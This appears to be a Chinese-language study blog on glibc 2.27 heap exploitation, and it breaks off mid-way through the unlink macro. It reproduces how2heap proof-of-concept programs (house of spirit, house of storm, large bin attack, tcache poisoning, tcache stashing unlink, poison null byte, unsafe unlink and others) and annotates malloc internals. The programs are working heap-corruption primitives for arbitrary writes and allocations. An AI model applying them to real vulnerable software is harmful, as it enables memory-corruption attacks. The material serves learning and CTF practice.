  size_t mprotect_size; /* Size in bytes that has been mprotected
                           PROT_READ|PROT_WRITE.  */
  /* Make sure the following data is properly aligned, particularly
     that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
     MALLOC_ALIGNMENT. */
  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;

将计算得到的fake_arena地址的开头写入ar_ptr

修改0x60 chunk的non_main_arena标志位

===》释放chunk,libc会根据heap_info的ar_ptr找到我们的假chunk==》实现在假chunk中更改内容

house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	void *chunks[7];
	for(int i=0; i<7; i++) {
		chunks[i] = malloc(0x30);
	}
	for(int i=0; i<7; i++) {
		free(chunks[i]);
	}

	long fake_chunks[10] __attribute__ ((aligned (0x10)));

	fake_chunks[1] = 0x40; // this is the size

	fake_chunks[9] = 0x1234; // nextsize

	void *victim = &fake_chunks[2];
	free(victim);

	void *allocated = calloc(1, 0x30);
	printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

	assert(allocated == victim);
}

与2.23的区别为在释放fake_chunk前先将tcache填满

house_of_storm.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char filler[0x60];
char target[0x60]; 

void init(){
        setvbuf(stdout, NULL, _IONBF, 0);
        setvbuf(stdin, NULL, _IONBF, 0);
        // clearenv();
}

// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){
	
	int shift_amount = 0;
	long long ptr = (long long)pointer;	
	
	while(ptr > 0x20){
		ptr = ptr >> 8; 
		shift_amount += 1; 
	}	

	return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}

int main(){

	init();

        char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
	int* tcaches[7];

	puts("House of Storm"); 
	puts("======================================"); 
	puts("Preparing chunks for the exploit");
	puts("Put one chunk into unsorted bin and the other into the large bin");
	puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
	/*
	Putting a chunk into the unsorted bin and another
	into the large bin.
	*/
	unsorted_bin = malloc ( 0x4e8 );  // size 0x4f0 

	// prevent merging 
	malloc ( 0x18 ); 

	puts("Find the proper chunk size to allocate.");
	puts("Must be exactly the size of the written chunk from above.");

	int shift_amount = get_shift_amount(unsorted_bin);	
	printf("Shift Amount: %d\n", shift_amount); 

	size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
	if(alloc_size < 0x10){
		printf("Chunk Size: 0x%lx\n", alloc_size);
		puts("Chunk size is too small");
		exit(1);
	}
	alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
	printf("In this case, the chunk size is 0x%lx\n", alloc_size);

        if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
                puts("Allocation size has bit 4 of the size set or ");
		puts("mmap and non-main arena bit check will fail");
                puts("Please try again! :)");
                puts("Exiting...");
                return 1;
        }

	// If the chunk would go into the TCache, we need to fill up
	// the TCache in order to prevent TCache stashing from happening.
	if(alloc_size < 0x410){
		puts("Fill TCache of the allocation size amount if the size of the target chunk is a TCache size chunk (0x20-0x410)");
		puts("Done to prevent usage of TCache stashing");


		// Fill up the TCache for the proper size
		for(int i = 0; i < 7; i++){
			tcaches[i] = malloc(alloc_size);
		}
		for(int i = 0; i < 7; i++){
			free(tcaches[i]);
		}
	}
	else{
		puts("Not filling up the TCache");
	}

	large_bin  =  malloc ( 0x4d8 );  // size 0x4e0 
	// prevent merging 
	malloc ( 0x18 );

	// FIFO 
	free ( large_bin );  // put small chunks first 
	free ( unsorted_bin );

	// Put the 'large bin' chunk into the large bin
	unsorted_bin = malloc(0x4e8);
	free(unsorted_bin);


	// The address that we want to write to!
	fake_chunk = target - 0x10;

	puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator"); 
	
	((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk

	// Only needs to be a valid address. 
	(( size_t *) large_bin )[1]  =  (size_t)fake_chunk  +  8 ;  // large_bin->fd

	puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
	puts("of your fake chunk."); 
	puts("Misalign the location in order to use the primitive as a SIZE value."); 
	puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
	puts("Vulnerability #2!");
	puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");

	(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize

	puts("Make allocation of the size that the value will be written for.");
	puts("Once the allocation happens, the madness begins"); 
	puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to "); 
	puts("write a fake 'size' value to the location of our target."); 
	puts("After this, the target will have a valid size."); 
	puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid"); 
	puts("size and remove it from the bin.");
	puts("With this, we have pulled out an arbitrary chunk!");

	printf("String before: %s\n", target);
	printf("String pointer: %p\n", target);

	puts("Make a call to 'calloc' instead of 'malloc' in order to ");
	puts("not use the TCache on the allocation. Had to fill TCache");	
	puts("because stashing would prevent the exploit from working");

	ptr = calloc(alloc_size, 1);
	strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
	
	printf("String after %s\n", target);
	printf("Fake chunk ptr: %p\n", ptr);

	return 0;
}

申请第一个unsorted_bin,再申请一个小chunk防止合并

再申请7个chunk用于填满tcache

申请large_bin,再申请一个小chunk防止合并

首先释放large_bin,再释放unsorted_bin===》

将unsorted_bin申请回来,此时large_bin并入large bin==》

再释放unsorted_bin:

修改这两个chunk的bk指针,修改large_bin的bk_nextsize:

偏移:shift_amount:非0字节数-1==》2

调用calloc:

避开tcache==》unsorted bin中不止一个chunk,会先将unsorted_chunk并入large bin中

会根据大小先将unsorted_chun并入large bin==》

large bin链入过程:在malloc大循环中,每一次都会从unsorted bin中弹出一个chunk,不符合要求就会被并入small bin或者large bin中

首先解链:

bck = victim->bk;
//bck = fake_chunk
unsorted_chunks (av)->bk = bck;
//unsorted_chunks (av)->bk = fake_chunk
bck->fd = unsorted_chunks (av);
//fake_chunk+0x10 = unsorted_chunks (av)
   if (in_smallbin_range (size))
   {
       victim_index = smallbin_index (size);
       bck = bin_at (av, victim_index);
       fwd = bck->fd;
   }
else//chunk属于large_bin
   {
     victim_index = largebin_index (size);
     bck = bin_at (av, victim_index);   //bck为bin的头指针
     fwd = bck->fd;

     /* maintain large bins in sorted order */
     if (fwd != bck)
       {
         /* Or with inuse bit to speed comparisons */
         size |= PREV_INUSE;
         /* if smaller than smallest, bypass loop below */
         assert (chunk_main_arena (bck->bk));
         if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
           {
             fwd = bck;
             bck = bck->bk;

             victim->fd_nextsize = fwd->fd;
             victim->bk_nextsize = fwd->fd->bk_nextsize;
             fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
           }
         else
           {
             assert (chunk_main_arena (fwd));
             while ((unsigned long) size < chunksize_nomask (fwd))
               {
                 fwd = fwd->fd_nextsize;
			  assert (chunk_main_arena (fwd));
               }

             if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
               /* Always insert in the second position.  */
               fwd = fwd->fd;
             else
                 //unsorted_chunk->size > largebin_chunk->size
               {
                 victim->fd_nextsize = fwd;
                 //修改unsorted bin的fd_nextsize指向large bin中已存在的chunk
                 victim->bk_nextsize = fwd->bk_nextsize;
                 //修改unsorted bin的bk_nextsize指向large bin中已存在chunk的bk->bk_nextsize
                 //victim->bk_nextsize = tar-0x28-偏移
                 fwd->bk_nextsize = victim;
                 
                 victim->bk_nextsize->fd_nextsize = victim;
                 //tar-0x8-偏移 = unsorted_chunk
               }
             bck = fwd->bk;
             //bck = tar-0x8
           }
       }
     else
       victim->fd_nextsize = victim->bk_nextsize = victim;
   }
mark_bin (av, victim_index);
   victim->bk = bck;
   victim->fd = fwd;
   fwd->bk = victim;
   bck->fd = victim;

正常情况:

布置fake_chunk后:

重点:

victim->bk_nextsize->fd_nextsize = victim;
//tar-0x8-偏移 = unsorted_chunk

==》fake_chunk+6 = 0x405250

==》calloc将获得fake_chunk

large_bin_attack.c

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
    setbuf(stdout, NULL);

    printf("This file demonstrates large bin attack by writing a large unsigned long value into stack\n");
    printf("In practice, large bin attack is generally prepared for further attacks, such as rewriting the "
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    printf("Let's first look at the targets we want to rewrite on stack:\n");
    printf("stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    printf("stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x420);
    printf("Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);

    printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the first large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    printf("Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);

    printf("And allocate another fastbin chunk in order to avoid consolidating the next large chunk with"
           " the second large chunk during the free()\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    printf("Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
 
    printf("And allocate another fastbin chunk in order to avoid consolidating the top chunk with"
           " the third large chunk during the free()\n\n");
    malloc(0x20);
 
    free(p1);
    free(p2);
    printf("We free the first and second large chunks now and they will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    printf("Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the"
            " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation"
            ", and reinsert the remaining of the freed first large chunk into the unsorted bin:"
            " [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    printf("Now, we free the third large chunk and it will be inserted in the unsorted bin:"
           " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
 
    //------------VULNERABILITY-----------

    printf("Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\""
            " as well as its \"bk\" and \"bk_nextsize\" pointers\n");
    printf("Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk"
            " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and"
            " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    //------------------------------------

    malloc(0x90);
 
    printf("Let's malloc again, so the freed third large chunk being inserted into the large bin freelist."
            " During this time, targets should have already been rewritten:\n");

    printf("stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    printf("stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

    // sanity check
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

申请chunk:

释放p1,p2:

申请0x90的chunk:

首先将unsorted bin中的chunk并入large bin中

再从large bin中切割chunk

从large bin头开始遍历,首先到最小的p1==》切割p1,剩余的p1置于unsorted bin

重点:

切割large bin chunk:

binmap:通过比特位记录哪些bins当前存有chunk

  ++idx;
  bin = bin_at (av, idx);
  block = idx2block (idx);
//寻找对应索引idx的比特位信息再哪个索引中
  map = av->binmap[block];
//定位索引对应的无符号整型变量
  bit = idx2bit (idx);
//定位该idx的比特位

  for (;; )
    {
      /* Skip rest of block if there are no more set bits in this block.  */
      if (bit > map || bit == 0)
          //当前map中没有满足的chunk或bit溢出
        {
          do
            {
              if (++block >= BINMAPSIZE) /* out of bins */
                goto use_top;
            }
          while ((map = av->binmap[block]) == 0);

          bin = bin_at (av, (block << BINMAPSHIFT));
          bit = 1;
        }

      /* Advance to bin with set bit. There must be one. */
      while ((bit & map) == 0)
          //bit应该是0x100,0x10000,0x1000000这类数
          //与map做按位与处理判断某位是否位1
        {
          bin = next_bin (bin);
          bit <<= 1;
          assert (bit != 0);
        }

      /* Inspect the bin. It is likely to be non-empty */
      victim = last (bin);  //检查是否为空

      /*  If a false alarm (empty bin), clear the bit. */
      if (victim == bin)  //若为空==》前面的比特位有误,将其清除后重新循环判断
        {
          av->binmap[block] = map &= ~bit; /* Write through */
          bin = next_bin (bin);
          bit <<= 1;
        }

      else
          //有chunk存在
        {
          size = chunksize (victim); //选择最后一个chunk获取其size

          /*  We know the first chunk in this bin is big enough to use. */
          assert ((unsigned long) (size) >= (unsigned long) (nb));
          //断言这个size大于请求的size

          remainder_size = size - nb;
          //计算切割该chunk后剩余的大小remainder_size

          /* unlink */
          unlink (av, victim, bck, fwd);
          //unlink将该chunk从bins中取出

          /* Exhaust */
          if (remainder_size < MINSIZE)
              //判断remainder_size是否小于0x20
              //若是==》直接将整个chunk全部分配出来
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                  set_non_main_arena (victim);
            }

          /* Split */
          else
            {
              remainder = chunk_at_offset (victim, nb);
              //获取分割后的chunk头地址

              /* We cannot assume the unsorted list is empty and therefore
                 have to perform a complete insert here.  */
              bck = unsorted_chunks (av);
              fwd = bck->fd;
			  if (__glibc_unlikely (fwd->bk != bck))
			    malloc_printerr ("malloc(): corrupted unsorted chunks 2");
              //从这开始将该切割后剩余chunk插入到unsorted bin的头指针之后
              remainder->bk = bck;
              remainder->fd = fwd;
              bck->fd = remainder;
              fwd->bk = remainder;

              /* advertise as last remainder */
              if (in_smallbin_range (nb))
                  //如果为small bin大小的chunk
                  //设置last_remainder为chunk本身
                av->last_remainder = remainder;
              if (!in_smallbin_range (remainder_size))
                  //如果chunk是large bin大小
                  //清空fd_nextsize和bk_nextsize
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }
              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);
            }
          check_malloced_chunk (av, victim, nb);
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

===》在两个chunk被链入large bin后,会选择较小的那个(靠近bin)chunk进行切割

释放p3:

对p2进行修改:

未修改前:

修改后:

此时再申请0x90的chunk:

1、首先判断是否切割last_remainder

==》切割条件:

last_remainder存在

申请的大小在small bin范围

该last_remainder是unsorted bin中唯一一个chunk

这个last_remainder的大小要大于(申请大小+最小chunk大小0x20)

2、此时last_remainder并不唯一,unsorted bin中还有p3

===》首先将p1(0x3f0)放入small bin

=》p3放入large bins,与p2一个bins

==》

未并入large bin:

p2->bk->fd = stack1

p2->bk_nextsize->fd_nextsize = stack2

并入:

	victim_index = largebin_index (size);
    bck = bin_at (av, victim_index);
    fwd = bck->fd;

	victim->fd_nextsize = fwd;
    victim->bk_nextsize = fwd->bk_nextsize;
//victim->bk_nextsize = stack2-0x20
    fwd->bk_nextsize = victim;
    victim->bk_nextsize->fd_nextsize = victim;
//stack2 = victim

	bck = fwd->bk;
//bck = stack1-0x10

	victim->bk = bck;
//victim->bk = stack1-0x10
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
//stack1 = victim

==》p3为victim,p2为fwd

===》两个栈区都被修改为p3的地址

mmap_overlapping_chunks.c

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>

/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`

POC written by POC written by Maxwell Dulin (Strikeout) 
*/
int main(){

	int* ptr1 = malloc(0x10); 

	printf("This is performing an overlapping chunk attack but on extremely large chunks (mmap chunks).\n");
	printf("Extremely large chunks are special because they are allocated in their own mmaped section\n");
	printf("of memory, instead of being put onto the normal heap.\n");
	puts("=======================================================\n");
	printf("Allocating three extremely large heap chunks of size 0x100000 \n\n");
		
	long long* top_ptr = malloc(0x100000);
	printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);

	// After this, all chunks are allocated downwards in memory towards the heap.
	long long* mmap_chunk_2 = malloc(0x100000);
	printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);

	long long* mmap_chunk_3 = malloc(0x100000);
	printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);

	printf("\nCurrent System Memory Layout \n" \
"================================================\n" \
"running program\n" \
"heap\n" \
"....\n" \
"third mmap chunk\n" \
"second mmap chunk\n" \
"LibC\n" \
"....\n" \
"ld\n" \
"first mmap chunk\n"
"===============================================\n\n" \
);
	
	printf("Prev Size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-2]);
	printf("Size of third mmap chunk: 0x%llx\n\n", mmap_chunk_3[-1]);

	printf("Change the size of the third mmap chunk to overlap with the second mmap chunk\n");	
	printf("This will cause both chunks to be Munmapped and given back to the system\n");
	printf("This is where the vulnerability occurs; corrupting the size or prev_size of a chunk\n");

	mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
	printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
	printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");

	free(mmap_chunk_3); 

	printf("Get a very large chunk from malloc to get mmapped chunk\n");
	printf("This should overlap over the previously munmapped/freed chunks\n");
	long long* overlapping_chunk = malloc(0x300000);
	printf("Overlapped chunk Ptr: %p\n", overlapping_chunk);
	printf("Overlapped chunk Ptr Size: 0x%llx\n", overlapping_chunk[-1]);

	// Gets the distance between the two pointers.
	int distance = mmap_chunk_2 - overlapping_chunk;
	printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
	printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);
	
	// Set the value of the overlapped chunk.
	printf("Setting the value of the overlapped chunk\n");
	overlapping_chunk[distance] = 0x1122334455667788;

	// Show that the pointer has been written to.
	printf("Second chunk value (after write): 0x%llx\n", mmap_chunk_2[0]);
	printf("Overlapped chunk value: 0x%llx\n\n", overlapping_chunk[distance]);
	printf("Boom! The new chunk has been overlapped with a previous mmaped chunk\n");
	assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

与2.23一致

overlapping_chunks.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
	setbuf(stdout, NULL);


	intptr_t *p1,*p2,*p3,*p4;

	printf("\nThis is a simple chunks overlapping problem\n\n");
	printf("Let's start to allocate 3 chunks on the heap\n");

	p1 = malloc(0x500 - 8);
	p2 = malloc(0x500 - 8);
	p3 = malloc(0x80 - 8);

	printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

	memset(p1, '1', 0x500 - 8);
	memset(p2, '2', 0x500 - 8);
	memset(p3, '3', 0x80 - 8);

	printf("\nNow let's free the chunk p2\n");
	free(p2);

	int evil_chunk_size = 0x581;
	int evil_region_size = 0x580 - 8;
	printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
		 evil_chunk_size, evil_region_size);

	/* VULNERABILITY */
	*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
	/* VULNERABILITY */

	printf("\nNow let's allocate another chunk with a size equal to the data\n"
	       "size of the chunk p2 injected size\n");
	printf("This malloc will be served from the previously freed chunk that\n"
	       "is parked in the unsorted bin which size has been modified by us\n");
	p4 = malloc(evil_region_size);

	printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
	printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
	printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

	printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
		" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

	printf("Let's run through an example. Right now, we have:\n");
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
	memset(p4, '4', evil_region_size);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
	memset(p3, '3', 80);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	assert(strstr((char *)p4, (char *)p3));
}

与2.23的区别为申请的chunk要增大==》绕过tcache

poison_null_byte.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf("Welcome to poison null byte 2.0!\n");
	printf("Tested in Ubuntu 18.04 64bit.\n");
	printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;
	void *barrier;

	printf("We allocate 0x500 bytes for 'a'.\n");
	a = (uint8_t*) malloc(0x500);
	printf("a: %p\n", a);
	int real_a_size = malloc_usable_size(a);
	printf("Since we want to overflow 'a', we need to know the 'real' size of 'a' "
		"(it may be more than 0x500 because of rounding): %#x\n", real_a_size);

	b = (uint8_t*) malloc(0xa00);

	printf("b: %p\n", b);

	c = (uint8_t*) malloc(0x500);
	printf("c: %p\n", c);

	barrier =  malloc(0x100);
	printf("We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
		"The barrier is not strictly necessary, but makes things less confusing\n", barrier);

	uint64_t* b_size_ptr = (uint64_t*)(b - 8);

	*(size_t*)(b+0x9f0) = 0xa00;

	free(b);
	
	printf("b.size: %#lx\n", *b_size_ptr);
	printf("b.size is: (0xa00 + 0x10) | prev_in_use\n");
	printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
	a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
	printf("b.size: %#lx\n", *b_size_ptr);

	uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
	printf("c.prev_size is %#lx\n",*c_prev_size_ptr);

	printf("We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
		*((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
	b1 = malloc(0x500);

	printf("b1: %p\n",b1);
	printf("Now we malloc 'b1'. It will be placed where 'b' was. "
		"At this point c.prev_size should have been updated, but it was not: %#lx\n",*c_prev_size_ptr);
	printf("Interestingly, the updated value of c.prev_size has been written 0x10 bytes "
		"before c.prev_size: %lx\n",*(((uint64_t*)c)-4));
	printf("We malloc 'b2', our 'victim' chunk.\n");
	// Typically b2 (the victim) will be a structure with valuable pointers that we want to control

	b2 = malloc(0x480);
	printf("b2: %p\n",b2);

	memset(b2,'B',0x480);
	printf("Current b2 content:\n%s\n",b2);

	printf("Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

	free(b1);
	free(c);
	
	printf("Finally, we allocate 'd', overlapping 'b2'.\n");
	d = malloc(0xc00);
	printf("d: %p\n",d);
	
	printf("Now 'd' and 'b2' overlap.\n");
	memset(d,'D',0xc00);

	printf("New b2 content:\n%s\n",b2);

	printf("Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
		"for the clear explanation of this technique.\n");

	assert(strstr(b2, "DDDDDDDDDDDD"));
}

与2.23的区别为申请的chunk要增大==》绕过tcache

tcache_house_of_spirit.c

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	malloc(1);

	unsigned long long *a; //pointer that will be overwritten
	unsigned long long fake_chunks[10]; //fake chunk region

	fake_chunks[1] = 0x40; // this is the size

	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	void *b = malloc(0x30);
	printf("malloc(0x30): %p\n", b);

	assert((long)b == (long)&fake_chunks[2]);
}

申请一个chunk

栈中开辟0x88的空间==》开头的0x8备用(a),后面的0x80作为fake_chunk,size为0x40

释放fake_chunk:

进入tcache

此时申请chunk将会申请到栈上的fake_chunk

tcache释放检查机制:

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
	&& tc_idx < mp_.tcache_bins
	&& tcache->counts[tc_idx] < mp_.tcache_count)
      {
	tcache_put (p, tc_idx);
	return;
      }
  }
#endif

释放时通过chunk的size来确定存入哪一个tcache==》只需要tcache未满,即可链入

tcache_poisoning.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// disable buffering
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	size_t stack_var;
	printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);

	printf("Allocating 2 buffers.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("Freeing the buffers...\n");
	free(a);
	free(b);

	printf("Now the tcache list has [ %p -> %p ].\n", b, a);
	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
		   "to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
	b[0] = (intptr_t)&stack_var;
	printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", &stack_var);

	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("We got the control\n");

	assert((long)&stack_var == (long)c);
	return 0;
}

申请两个大小相同的chunk并释放==》进入tcache==》

修改chunk的fd指针到目标地址==》再申请即可分配到目标地址

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    stack_var[3] = (unsigned long)(&stack_var[2]);

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    malloc(0xa0);// size > 0x90

    malloc(0x90);
    malloc(0x90);

    chunk_lis[2][1] = (unsigned long)stack_var;

    calloc(1,0x90);

    target = malloc(0x90);   

    assert(target == &stack_var[2]);
    return 0;
}

申请9个chunk,将第4到9的chunk释放(6个)==》进入tcache

释放第2个chunk到tcache:

释放第1个和第3个chunk:

申请一个0xa0的chunk,unsorted bin中的chunk并入small bin:

从tcache中申请两个chunk:

修改第3个chunk的bk区为目标地址:

使用calloc申请chunk==》从fastbin,unsorted bin,small bin,large bin中==》

在small bin中获取到第1个chunk==》

此时由于tcache没满,将small bin中的chunk以倒序的形式填满tcache==》

再次申请chunk就将的到目标地址chunk

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);

	int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
	int header_size = 2;

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

	uint64_t *chunk1_hdr = chunk1_ptr - header_size;

	chunk1_hdr[0] = malloc_size;

	chunk1_hdr[1] &= ~1;

	free(chunk1_ptr);

	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

与2.23相比只有需要申请更大的chunk以绕过tcache

#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");
//chunksize:获取除了第三标志位之外的大小
//next_chunk:下一个chunk的prev_size
//该检查检查两处值是否相等,相等则不触发异常
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
//检查FD->bk == BK->fd == P
//检查双链表的完整性
      malloc_printerr ("corrupted double-linked list");			      \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (chunksize_nomask (P))			      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {
            //chunksize_nomask:chunk包含了3个标志位的大小
            //若该chunk位于small bin或large bin,并且fd_nextsize为空
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) 
            //fd_nextsize不为空
            //判断双链表完整性
	      malloc_printerr ("corrupted double-linked list (not small)");   \
            if (FD->fd_nextsize == NULL) {
                //下一个chunk的fd_nextsize为空\
                //bins中有与当前chunk大小相同的chunk
                //因为只有大小相同的chunk的结点有fd_nextsize
                if (P->fd_nextsize == P) 
                    //该bins中只有这一种大小的chunk
                    //自身的fd_nextsize指向自己\
